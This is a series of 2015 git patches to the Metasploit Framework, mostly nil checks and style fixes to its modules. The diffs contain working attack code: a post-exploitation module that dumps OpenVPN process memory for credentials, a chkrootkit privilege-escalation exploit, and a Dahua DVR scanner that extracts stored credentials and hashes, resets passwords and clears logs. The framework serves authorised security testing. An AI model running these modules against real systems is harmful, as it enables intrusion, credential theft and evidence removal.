xml.item interval end @@ -173,9 +175,8 @@ class Metasploit3 < Msf::Exploit::Remote def delete_handler(handler_name) delete_xml = build_xml do |xml| - xml['per'].delete_handler("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do - attrs = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' } - xml.handlers(attrs) do + xml['per'].delete_handler(SOAPENV_ENCODINGSTYLE) do + xml.handlers(STRING_ATTRS) do xml.parent.namespace = xml.parent.parent.namespace_definitions.first xml.item handler_name end @@ -187,7 +188,7 @@ class Metasploit3 < Msf::Exploit::Remote def handler_exists(handler_name) handler_xml = build_xml do |xml| - xml['per'].get_list("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") + xml['per'].get_list(SOAPENV_ENCODINGSTYLE) end res = send_soap_request(handler_xml) res && res.code == 200 && res.body =~ Regexp.new("/Common/#{handler_name}") @@ -200,13 +201,12 @@ class Metasploit3 < Msf::Exploit::Remote # if the user/password is wrong, a 401 error is returned, the server might or might not be vulnerable # any other response is considered not vulnerable check_xml = build_xml do |xml| - xml['scr'].create("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do - attrs = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' } - xml.scripts(attrs) do + xml['scr'].create(SOAPENV_ENCODINGSTYLE) do + xml.scripts(STRING_ATTRS) do xml.parent.namespace = xml.parent.parent.namespace_definitions.first xml.item end - xml.definitions(attrs) do + xml.definitions(STRING_ATTRS) do xml.parent.namespace = xml.parent.parent.namespace_definitions.first xml.item end From 740cacb4c084a3a37918093abcd55b5ff50c85bc Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Mon, 16 Nov 2015 13:54:36 -0600 Subject: [PATCH 1220/2172] Check nil --- modules/auxiliary/scanner/ftp/konica_ftp_traversal.rb | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/modules/auxiliary/scanner/ftp/konica_ftp_traversal.rb b/modules/auxiliary/scanner/ftp/konica_ftp_traversal.rb index 04711da9f7..deceef291b 100644 --- a/modules/auxiliary/scanner/ftp/konica_ftp_traversal.rb +++ b/modules/auxiliary/scanner/ftp/konica_ftp_traversal.rb @@ -72,6 +72,11 @@ class Metasploit3 < Msf::Auxiliary # read the file data from the socket that we opened response_data = sock.read(1024) + unless response_data + print_error("#{file_path} not found") + return + end + if response_data.length == 0 or ! (res =~ /^150/ ) print_status("File (#{file_path})from #{peer} is empty...") return From 17a1f2ee8a4754899f59a7c04789a992fe5357f0 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Mon, 16 Nov 2015 14:24:46 -0600 Subject: [PATCH 1221/2172] Fix #6242, Check nil for sock.read Fix #6242 --- modules/auxiliary/scanner/db2/discovery.rb | 44 ++++++++++--------- .../scanner/ftp/bison_ftp_traversal.rb | 5 +++ .../scanner/ftp/pcman_ftp_traversal.rb | 5 +++ .../scanner/motorola/timbuktu_udp.rb | 5 ++- .../scanner/oracle/tnspoison_checker.rb | 2 +- .../scanner/sap/sap_router_info_request.rb | 2 +- .../windows/gather/forensics/nbd_server.rb | 6 +++ modules/post/windows/manage/nbd_server.rb | 6 +++ 8 files changed, 52 insertions(+), 23 deletions(-) diff --git a/modules/auxiliary/scanner/db2/discovery.rb b/modules/auxiliary/scanner/db2/discovery.rb index 12c8692303..c94537a49b 100644 --- a/modules/auxiliary/scanner/db2/discovery.rb +++ b/modules/auxiliary/scanner/db2/discovery.rb @@ -32,33 +32,37 @@ class Metasploit3 < Msf::Auxiliary connect_udp udp_sock.put(pkt) - res = udp_sock.read(1024).split(/\x00/) + res = udp_sock.read(1024) - if (res) - report_note( - :host => ip, - :proto => 'udp', - :port => datastore['RPORT'], - :type => 'SERVICE_INFO', - :data => res[2] + "_" + res[1] - ) - report_service( - :host => ip, - :port => datastore['RPORT'], - :proto => 'udp', - :name => "ibm-db2", - :info => res[2] + "_" + res[1] - ) - print_status("Host #{ip} node name is " + res[2] + " with a product id of " + res[1] ) - else + unless res print_error("Unable to determine version info for #{ip}") + return end - disconnect_udp + res = res.split(/\x00/) + + report_note( + :host => ip, + :proto => 'udp', + :port => datastore['RPORT'], + :type => 'SERVICE_INFO', + :data => res[2] + "_" + res[1] + ) + + report_service( + :host => ip, + :port => datastore['RPORT'], + :proto => 'udp', + :name => "ibm-db2", + :info => res[2] + "_" + res[1] + ) + + print_status("Host #{ip} node name is " + res[2] + " with a product id of " + res[1] ) rescue ::Rex::ConnectionError rescue ::Errno::EPIPE - + ensure + disconnect_udp end end diff --git a/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb b/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb index 19f83f3bdd..4970ab3c62 100644 --- a/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb +++ b/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb @@ -71,6 +71,11 @@ class Metasploit3 < Msf::Auxiliary # read the file data from the socket that we opened response_data = sock.read(1024) + unless response_data + print_error("#{file} not found") + return + end + if response_data.length == 0 print_status("File (#{file_path})from #{peer} is empty...") return diff --git a/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb b/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb index 15e40e43b5..bcdb39565b 100644 --- a/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb +++ b/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb @@ -70,6 +70,11 @@ class Metasploit3 < Msf::Auxiliary # read the file data from the socket that we opened response_data = sock.read(1024) + unless response_data + print_error("#{file_path} not found") + return + end + if response_data.length == 0 or ! (res =~ /^150/ ) print_status("File (#{file_path})from #{peer} is empty...") return diff --git a/modules/auxiliary/scanner/motorola/timbuktu_udp.rb b/modules/auxiliary/scanner/motorola/timbuktu_udp.rb index 00e83217bd..47b57c7adf 100644 --- a/modules/auxiliary/scanner/motorola/timbuktu_udp.rb +++ b/modules/auxiliary/scanner/motorola/timbuktu_udp.rb @@ -52,8 +52,11 @@ class Metasploit3 < Msf::Auxiliary else print_error("Unable to determine info for #{ip}...") end + rescue ::Errno::EPIPE, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused => e + vprint_error(e.message) + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + ensure disconnect_udp - rescue ::Errno::EPIPE, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused end end end diff --git a/modules/auxiliary/scanner/oracle/tnspoison_checker.rb b/modules/auxiliary/scanner/oracle/tnspoison_checker.rb index 847ed10f9e..aab795941c 100644 --- a/modules/auxiliary/scanner/oracle/tnspoison_checker.rb +++ b/modules/auxiliary/scanner/oracle/tnspoison_checker.rb @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Auxiliary send_packet = tns_packet("(CONNECT_DATA=(COMMAND=service_register_NSGR))") sock.put(send_packet) packet = sock.read(100) - find_packet = packet.include? "(ERROR_STACK=(ERROR=" + find_packet = /\(ERROR_STACK=\(ERROR=/ === packet find_packet == true ? print_error("#{ip}:#{rport} is not vulnerable ") : print_good("#{ip}:#{rport} is vulnerable") # TODO: Module should report_vuln if this finding is solid. rescue ::Rex::ConnectionError, ::Errno::EPIPE diff --git a/modules/auxiliary/scanner/sap/sap_router_info_request.rb b/modules/auxiliary/scanner/sap/sap_router_info_request.rb index 01b3088dcc..4c95966b43 100644 --- a/modules/auxiliary/scanner/sap/sap_router_info_request.rb +++ b/modules/auxiliary/scanner/sap/sap_router_info_request.rb @@ -109,7 +109,7 @@ class Metasploit4 < Msf::Auxiliary print_good("#{host_port} - Connected to saprouter") print_good("#{host_port} - Sending ROUTER_ADM packet info request") sock.put(ni_packet) - packet_len = sock.read(4).unpack('H*')[0].to_i 16 + packet_len = sock.read(4).to_s.unpack('H*')[0].to_i 16 print_good("#{host_port} - Got INFO response") while packet_len !=0 count += 1 diff --git a/modules/post/windows/gather/forensics/nbd_server.rb b/modules/post/windows/gather/forensics/nbd_server.rb index 5da92628d6..2a029ce6a3 100644 --- a/modules/post/windows/gather/forensics/nbd_server.rb +++ b/modules/post/windows/gather/forensics/nbd_server.rb @@ -76,6 +76,12 @@ class Metasploit3 < Msf::Post while true request = rsock.read(28) + + unless request + print_error("No data received") + break + end + magic, request, nbd_handle, offset_n, length = request.unpack("NNa8a8N") if magic != 0x25609513 diff --git a/modules/post/windows/manage/nbd_server.rb b/modules/post/windows/manage/nbd_server.rb index 4ef8b99874..41f786ac8c 100644 --- a/modules/post/windows/manage/nbd_server.rb +++ b/modules/post/windows/manage/nbd_server.rb @@ -74,6 +74,12 @@ class Metasploit3 < Msf::Post while true request = rsock.read(28) + + unless request + print_error("No data received") + break + end + magic, request, nbd_handle, offset_n, length = request.unpack("NNa8a8N") if magic != 0x25609513 From 70407a4f21856284a2dc2cd4c6bdd2ddaf066bd0 Mon Sep 17 00:00:00 2001 From: jvoisin <julien.voisin@dustri.org> Date: Mon, 16 Nov 2015 23:18:02 +0100 Subject: [PATCH 1222/2172] 3600 * 60 * 24 isn't one day --- modules/exploits/linux/local/chkrootkit.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/local/chkrootkit.rb b/modules/exploits/linux/local/chkrootkit.rb index 50d4851514..1d150f26b4 100644 --- a/modules/exploits/linux/local/chkrootkit.rb +++ b/modules/exploits/linux/local/chkrootkit.rb @@ -41,7 +41,7 @@ class Metasploit4 < Msf::Exploit::Local ], 'DisclosureDate' => "Jun 28 2014", 'Arch' => ARCH_CMD, - 'DefaultOptions' => { 'WfsDelay' => 60*3600*24 }, + 'DefaultOptions' => { 'WfsDelay' => 60*60*24 }, 'Privileged' => true, 'Targets' => [ From 715f20c92c978bb2b883a6cf91e49b6896848f9e Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Mon, 16 Nov 2015 14:45:13 -0800 Subject: [PATCH 1223/2172] Add missing super in setup --- modules/exploits/linux/http/f5_icall_cmd.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/linux/http/f5_icall_cmd.rb b/modules/exploits/linux/http/f5_icall_cmd.rb index 86df148ddf..712a262028 100644 --- a/modules/exploits/linux/http/f5_icall_cmd.rb +++ b/modules/exploits/linux/http/f5_icall_cmd.rb @@ -70,6 +70,7 @@ class Metasploit3 < Msf::Exploit::Remote file = datastore['FILENAME'] file ||= ".#{Rex::Text.rand_text_alphanumeric(16)}" @payload_path = ::File.join(datastore['PATH'], file) + super end def build_xml From a78fa7c3d93faef03e9e188db48341140228c06b Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Mon, 16 Nov 2015 17:17:20 -0600 Subject: [PATCH 1224/2172] Fix #4273, print error in create_session Fix #4273 --- lib/msf/core/handler.rb | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/handler.rb b/lib/msf/core/handler.rb index 010fa580b7..c922085080 100644 --- a/lib/msf/core/handler.rb +++ b/lib/msf/core/handler.rb @@ -189,7 +189,14 @@ protected # If the payload we merged in with has an associated session factory, # allocate a new session. if (self.session) - s = self.session.new(conn, opts) + begin + s = self.session.new(conn, opts) + rescue ::Exception => e + # We just wanna show and log the error, not trying to swallow it. + print_error("#{e.class} #{e.message}") + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + raise e + end # Pass along the framework context s.framework = framework From 038d367d581174b5403a635cf267f37541d458ae Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Mon, 16 Nov 2015 17:58:39 -0600 Subject: [PATCH 1225/2172] Fix #6247, Update Meterpreter Usage on "Interact" The "interact" command does not actually exist. Instead, users should do "channel -i" to interact with a channel. Fix #6247 --- lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index 9ae6874737..f8451e6b07 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -49,10 +49,9 @@ class Console::CommandDispatcher::Core "?" => "Help menu", "background" => "Backgrounds the current session", "close" => "Closes a channel", - "channel" => "Displays information about active channels", + "channel" => "Displays information or control active channels", "exit" => "Terminate the meterpreter session", "help" => "Help menu", - "interact" => "Interacts with a channel", "irb" => "Drop into irb scripting mode", "use" => "Deprecated alias for 'load'", "load" => "Load one or more meterpreter extensions", From ce62984e52c12e95658f9059d32faac4f0e41a88 Mon Sep 17 00:00:00 2001 From: Dev Mohanty <Dev_Mohanty@rapid7.com> Date: Mon, 16 Nov 2015 18:06:49 -0600 Subject: [PATCH 1226/2172] Fix #6079, Check nil when using read_exactly_n_bytes --- lib/postgres/postgres-pr/message.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/postgres/postgres-pr/message.rb b/lib/postgres/postgres-pr/message.rb index 643b688cdd..cb45a6724c 100644 --- a/lib/postgres/postgres-pr/message.rb +++ b/lib/postgres/postgres-pr/message.rb @@ -44,7 +44,7 @@ class Message def self.read(stream, startup=false) type = stream.read_exactly_n_bytes(1) unless startup - length = stream.read_exactly_n_bytes(4).unpack('N').first # FIXME: length should be signed, not unsigned + length = stream.read_exactly_n_bytes(4).to_s.unpack('N').first # FIXME: length should be signed, not unsigned raise ParseError unless length >= 4 From a48d0b275be522fe89de62191e8599508b3cc541 Mon Sep 17 00:00:00 2001 From: Roberto Soares <robertoespreto@gmail.com> Date: Tue, 17 Nov 2015 00:07:31 -0200 Subject: [PATCH 1227/2172] Added check if the commands executed successfully. --- .../post/linux/gather/openvpn_credentials.rb | 23 +++++++++++++------ 1 file changed, 16 insertions(+), 7 deletions(-) diff --git a/modules/post/linux/gather/openvpn_credentials.rb b/modules/post/linux/gather/openvpn_credentials.rb index 3d6b927158..58d18cd06b 100644 --- a/modules/post/linux/gather/openvpn_credentials.rb +++ b/modules/post/linux/gather/openvpn_credentials.rb @@ -57,15 +57,24 @@ class Metasploit4 < Msf::Post return end - cmd_exec('/bin/grep rw-p /proc/'"#{pid}"'/maps | sed -n \'s/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p\' | while read start stop; do /usr/bin/gdb --batch-silent --silent --pid '"#{pid}"' -ex "dump memory '"#{tmp_path}#{pid}"'-$start-$stop.dump 0x$start 0x$stop"; done') - strings = cmd_exec("/usr/bin/strings #{tmp_path}*.dump | /bin/grep -B2 KnOQ | /bin/grep -v KnOQ | /usr/bin/column | /usr/bin/awk '{print \"User: \"$1\"\\nPass: \"$2}'") - cmd_exec("/bin/rm #{tmp_path}*.dump --force") - - if strings.empty? - print_error('No credentials. You can check if the PID is correct.') - return + dump = cmd_exec('/bin/grep rw-p /proc/'"#{pid}"'/maps | sed -n \'s/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p\' | while read start stop; do /usr/bin/gdb --batch-silent --silent --pid '"#{pid}"' -ex "dump memory '"#{tmp_path}#{pid}"'-$start-$stop.dump 0x$start 0x$stop"; done 2>/dev/null; echo $?') + if dump.chomp.to_i == 0 + vprint_good('Succesfully dump.') + else + print_warning('Could not dump process.') end + strings = cmd_exec("/usr/bin/strings #{tmp_path}*.dump | /bin/grep -B2 KnOQ | /bin/grep -v KnOQ | /usr/bin/column | /usr/bin/awk '{print \"User: \"$1\"\\nPass: \"$2}'") + + deldump = cmd_exec("/bin/rm #{tmp_path}*.dump --force 2>/dev/null; echo $?") + if deldump.chomp.to_i == 0 + vprint_good('Removing temp files successfully.') + else + print_warning('Could not remove dumped files.') + end + + fail_with(Failure::BadConfig, 'No credentials. You can check if the PID is correct.') if strings.empty? + vprint_good("OpenVPN Credentials:\n#{strings}") p = store_loot( From f69e7c0fb349d20feaad3fa9e23a75fcf3f22594 Mon Sep 17 00:00:00 2001 From: Roberto Soares <robertoespreto@gmail.com> Date: Tue, 17 Nov 2015 00:49:04 -0200 Subject: [PATCH 1228/2172] Fix condition --- modules/post/linux/gather/openvpn_credentials.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/modules/post/linux/gather/openvpn_credentials.rb b/modules/post/linux/gather/openvpn_credentials.rb index 58d18cd06b..8fe1b7d965 100644 --- a/modules/post/linux/gather/openvpn_credentials.rb +++ b/modules/post/linux/gather/openvpn_credentials.rb @@ -62,6 +62,7 @@ class Metasploit4 < Msf::Post vprint_good('Succesfully dump.') else print_warning('Could not dump process.') + return end strings = cmd_exec("/usr/bin/strings #{tmp_path}*.dump | /bin/grep -B2 KnOQ | /bin/grep -v KnOQ | /usr/bin/column | /usr/bin/awk '{print \"User: \"$1\"\\nPass: \"$2}'") @@ -71,6 +72,7 @@ class Metasploit4 < Msf::Post vprint_good('Removing temp files successfully.') else print_warning('Could not remove dumped files.') + return end fail_with(Failure::BadConfig, 'No credentials. You can check if the PID is correct.') if strings.empty? From ac99f9c229c42626ffb51fe2bfc97653231473a7 Mon Sep 17 00:00:00 2001 From: Roberto Soares <robertoespreto@gmail.com> Date: Tue, 17 Nov 2015 00:52:42 -0200 Subject: [PATCH 1229/2172] Fix condition --- modules/post/linux/gather/openvpn_credentials.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/post/linux/gather/openvpn_credentials.rb b/modules/post/linux/gather/openvpn_credentials.rb index 8fe1b7d965..49a2b326a3 100644 --- a/modules/post/linux/gather/openvpn_credentials.rb +++ b/modules/post/linux/gather/openvpn_credentials.rb @@ -71,8 +71,7 @@ class Metasploit4 < Msf::Post if deldump.chomp.to_i == 0 vprint_good('Removing temp files successfully.') else - print_warning('Could not remove dumped files.') - return + print_warning('Could not remove dumped files. Remove manually.') end fail_with(Failure::BadConfig, 'No credentials. You can check if the PID is correct.') if strings.empty? From 44d477a13c4b8f07eff8e7d82aae306a5fb93793 Mon Sep 17 00:00:00 2001 From: jvoisin <julien.voisin@dustri.org> Date: Tue, 17 Nov 2015 13:26:50 +0100 Subject: [PATCH 1230/2172] Fix some rubocop warnings --- modules/exploits/linux/local/chkrootkit.rb | 26 +++++++++------------- 1 file changed, 11 insertions(+), 15 deletions(-) diff --git a/modules/exploits/linux/local/chkrootkit.rb b/modules/exploits/linux/local/chkrootkit.rb index 1d150f26b4..920ef932a4 100644 --- a/modules/exploits/linux/local/chkrootkit.rb +++ b/modules/exploits/linux/local/chkrootkit.rb @@ -13,22 +13,22 @@ class Metasploit4 < Msf::Exploit::Local include Msf::Exploit::Local::Linux - def initialize(info={}) - super( update_info( info, { + def initialize(info = {}) + super(update_info(info, { 'Name' => 'Chkrootkit 0.49 Local Privilege Escalation', - 'Description' => %q{ + 'Description' => %q( Chkrootkit before 0.50 will run as root any executable file named /tmp/updater, allowing a trivial privsec. WfsDelay is set to 24h by default, since this is how often a chkrootkit scan is scheduled by default. - }, + ), 'License' => MSF_LICENSE, 'Author' => [ 'Thomas Stangner', # original exploit 'Julien (jvoisin) Voisin' # metasploit module ], - 'Platform' => %w{ bsd linux unix solaris osx}, + 'Platform' => %w( bsd linux unix solaris osx), 'SessionTypes' => [ 'shell', 'meterpreter' ], 'References' => [ @@ -37,26 +37,23 @@ class Metasploit4 < Msf::Exploit::Local [ 'CWE', '20' ], [ 'EDB', '33899' ], [ 'OSVDB', '107710' ], - [ 'URL', 'http://seclists.org/oss-sec/2014/q2/430' ], + [ 'URL', 'http://seclists.org/oss-sec/2014/q2/430' ] ], 'DisclosureDate' => "Jun 28 2014", 'Arch' => ARCH_CMD, - 'DefaultOptions' => { 'WfsDelay' => 60*60*24 }, + 'DefaultOptions' => { 'WfsDelay' => 60 * 60 * 24 }, 'Privileged' => true, - 'Targets' => - [ - [ 'Generic', {} ], - ], + 'Targets' => [[ 'Generic', {} ]], 'Stance' => Msf::Exploit::Stance::Passive, - 'DefaultTarget' => 0,})) + 'DefaultTarget' => 0 })) end def check res = cmd_exec('/usr/sbin/chkrootkit -V') if res && res =~ /chkrootkit version 0\.[^5]/ - Exploit::CheckCode::Appears + Exploit::CheckCode::Appears else - Exploit::CheckCode::Safe + Exploit::CheckCode::Safe end end @@ -78,4 +75,3 @@ class Metasploit4 < Msf::Exploit::Local register_file_for_cleanup('/tmp/update') end end - From 811167442cfce6551edb61dbc7e0f9a5f6af9b91 Mon Sep 17 00:00:00 2001 From: Rory McNamara <rmcnamara@gdssecurity.com> Date: Tue, 17 Nov 2015 13:10:03 +0000 Subject: [PATCH 1231/2172] Re-disable debugging nodelete --- modules/post/multi/manage/shell_to_meterpreter.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/multi/manage/shell_to_meterpreter.rb b/modules/post/multi/manage/shell_to_meterpreter.rb index 07f488ca26..9f34c3a376 100644 --- a/modules/post/multi/manage/shell_to_meterpreter.rb +++ b/modules/post/multi/manage/shell_to_meterpreter.rb @@ -190,7 +190,7 @@ class Metasploit3 < Msf::Post end opts = { :linemax => linemax, - :nodelete => true # keep temp files (for debugging) + #:nodelete => true # keep temp files (for debugging) } if session.platform =~ /win/i opts[:decoder] = File.join(Msf::Config.data_directory, 'exploits', 'cmdstager', 'vbs_b64') From afd1e432261a060ffd75c701c210e2aba5d8397a Mon Sep 17 00:00:00 2001 From: Tyler Bennett <tyler@talosinfosec.com> Date: Tue, 17 Nov 2015 09:41:12 -0500 Subject: [PATCH 1232/2172] added rubocop fixes --- .../scanner/misc/dahua_dvr_auth_bypass.rb | 140 +++++++++--------- 1 file changed, 69 insertions(+), 71 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index 51d622265f..522e00cab0 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -63,14 +63,14 @@ class Metasploit3 < Msf::Auxiliary user8pwhash = "4WzwxXxM" #888888 user6pwhash = "sh15yfFM" #666666 useradminpwhash = "6QNMIQGe" #admin - connect() + connect sock.put(u1) data = sock.recv(8) - disconnect() + disconnect if data == dvr_resp print_good("DVR FOUND: @ #{rhost}:#{rport}!") report_service(:host => rhost, :port => rport, :sname => 'dvr', :info => "Dahua-based DVR") - connect() + connect sock.put(version) data = sock.get(1024) if data =~ /[\x00]{8,}([[:print:]]+)/ @@ -86,23 +86,23 @@ class Metasploit3 < Msf::Auxiliary end sock.put(email) - if data = sock.get(1024).split('&&') + if data == sock.get(1024).split('&&') print_status("Email Settings: @ #{rhost}:#{rport}!") if data[0] =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?(?:\.[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?)*\.?+:\d+)/ - if mailhost = $1.split(':') - print_status(" Server: #{mailhost[0]}") if !mailhost[0].nil? - print_status(" Destination Email: #{data[1]}") if !mailhost[1].nil? + if mailhost == $1.split(':') + print_status(" Server: #{mailhost[0]}") unless mailhost[0].nil? + print_status(" Destination Email: #{data[1]}") unless mailhost[1].nil? end - if !data[5].nil? and !data[6].nil? - print_good(" SMTP User: #{data[5]}") if !data[5].nil? - print_good(" SMTP Password: #{data[6]}") if !data[6].nil? + if !data[5].nil? && !data[6].nil? + print_good(" SMTP User: #{data[5]}") unless data[5].nil? + print_good(" SMTP Password: #{data[6]}") unless data[6].nil? muser = "#{data[5]}" mpass = "#{data[6]}" mailserver = "#{mailhost[0]}" print_good("MailServer: #{mailserver}") #destemail = "#{data[1]}" if !mailhost[1].nil? - if !mailserver.to_s.strip.length == 0 and !muser.to_s.strip.length == 0 and !mpass.to_s.strip.length == 0 - report_email_creds(mailserver, rport, muser, mpass) if ( !mailserver.nil? and !muser.nil? and !mpass.nil? ) + if !mailserver.to_s.strip.length == 0 && !muser.to_s.strip.length == 0 && !mpass.to_s.strip.length == 0 + report_email_creds(mailserver, rport, muser, mpass) if !mailserver.nil? && !muser.nil? && !mpass.nil? end end end @@ -122,13 +122,13 @@ class Metasploit3 < Msf::Auxiliary ddns_user = "#{val[4]}" ddns_pass = "#{val[5]}" print_status("DDNS Settings @ #{rhost}:#{rport}!:") - print_status(" DDNS Service: #{ddns_service}") if !val.nil? - print_status(" DDNS Server: #{ddns_server}") if !val.nil? - print_status(" DDNS Port: #{ddns_port}") if !val.nil? - print_status(" Domain: #{ddns_domain}") if !val.nil? - print_good(" Username: #{ddns_user}") if !val.nil? - print_good(" Password: #{ddns_pass}") if !val.nil? - if !ddns_server.to_s.strip.length == 0 and !ddns_port.to_s.strip.length == 0 and !ddns_user.to_s.strip.length == 0 and !ddns_pass.to_s.strip.length == 0 + print_status(" DDNS Service: #{ddns_service}") unless val.nil? + print_status(" DDNS Server: #{ddns_server}") unless val.nil? + print_status(" DDNS Port: #{ddns_port}") unless val.nil? + print_status(" Domain: #{ddns_domain}") unless val.nil? + print_good(" Username: #{ddns_user}") unless val.nil? + print_good(" Password: #{ddns_pass}") unless val.nil? + if !ddns_server.to_s.strip.length == 0 && !ddns_port.to_s.strip.length == 0 && !ddns_user.to_s.strip.length == 0 && !ddns_pass.to_s.strip.length == 0 report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass) end @@ -137,7 +137,7 @@ class Metasploit3 < Msf::Auxiliary end sock.put(nas) - if data = sock.get(1024) + if data == sock.get(1024) print_status("Nas Settings @ #{rhost}:#{rport}!:") server = '' port = '' @@ -152,26 +152,26 @@ class Metasploit3 < Msf::Auxiliary ftppass = $2 print_good(" FTP User: #{ftpuser}") print_good(" FTP Password: #{ftppass}") - if !ftpuser..to_s.strip.length == 0 and ftppass.to_s.strip.length == 0 - report_creds(:host => server, :port => port, :user => ftpuser, :pass => ftppass, :type => "FTP", - :active => true) if ( !server.nil? and !port.nil? and !ftpuser.nil? and !ftppass.nil? ) + if !ftpuser.to_s.strip.length == 0 && ftppass.to_s.strip.length == 0 + report_creds(host: server, port: port, user: ftpuser, pass: ftppass, type: "FTP", + active: true) if !server.nil? && !port.nil? && !ftpuser.nil? && !ftppass.nil? end end end sock.put(channels) data = sock.get(1024).split('&&') - disconnect() - if (data.length > 1) + disconnect + if data.length > 1 print_status("Camera Channels @ #{rhost}:#{rport}!:") data.each_with_index { |val, index| print_status(" #{index+1}:#{val[/([[:print:]]+)/]}") } end - connect() + connect sock.put(users) - if data = sock.get(1024).split('&&') + if data == sock.get(1024).split('&&') print_status("Users\\Hashed Passwords\\Rights\\Description: @ #{rhost}:#{rport}!") data.each { |val| @@ -187,32 +187,31 @@ class Metasploit3 < Msf::Auxiliary # Write the vulnerability to the database #unless reported_vuln report_vuln( - :host => rhost, - :port => rport, - :proto => 'tcp', - :sname => 'dvr', - :name => 'Dahua Authentication Password Hash Exposure', - :info => "Obtained password hash for user #{username}: #{md5hash}", - :refs => self.references + host: rhost, + port: rport, + proto: 'tcp', + sname: 'dvr', + name: 'Dahua Authentication Password Hash Exposure', + info: "Obtained password hash for user #{username}: #{md5hash}", + refs: :references ) } end sock.put(groups) - if data = sock.get(1024).split('&&') + if data == sock.get(1024).split('&&') print_status("User Groups: @ #{rhost}:#{rport}!") data.each { |val| print_status(" #{val[/(([\d]+)[:]([\w]+))/]}") } end - if (datastore['RESET']) - userstring = datastore['USERNAME'] + ":Intel:" + datastore['PASSWORD'] + - ":" + datastore['PASSWORD'] - u1 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00" + + if datastore['RESET'] + userstring = datastore['USERNAME'] + ":Intel:" + datastore['PASSWORD'] + ":" + datastore['PASSWORD'] + u1 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - u2 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" + + u2 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - u3 = "\xa6\x00\x00\x00#{userstring.length.chr}\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00" + + u3 = "\xa6\x00\x00\x00#{userstring.length.chr}\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + userstring sock.put(u1) @@ -222,7 +221,7 @@ class Metasploit3 < Msf::Auxiliary sock.put(u3) data = sock.get(1024) sock.put(u1) - if data = sock.get(1024) + if data == sock.get(1024) print_good("PASSWORD RESET!: user #{datastore['USERNAME']}'s password reset to #{datastore['PASSWORD']}! @ #{rhost}:#{rport}!") end # elsif (datastore['ACTION'] == "DELETE") @@ -297,89 +296,88 @@ class Metasploit3 < Msf::Auxiliary # else end - if (datastore['CLEAR_LOGS']) + if datastore['CLEAR_LOGS'] sock.put(clear_logs) sock.put(clear_logs2) print_good("LOGS CLEARED! @ #{rhost}:#{rport}") end - disconnect() + disconnect end end - def report_hash(ip, rport, user, hash) - service_data = { + def report_hash(ip, rport, user, hash) + service_data = { address: ip, port: rport, service_name: 'dahua_dvr', protocol: 'tcp', workspace_id: 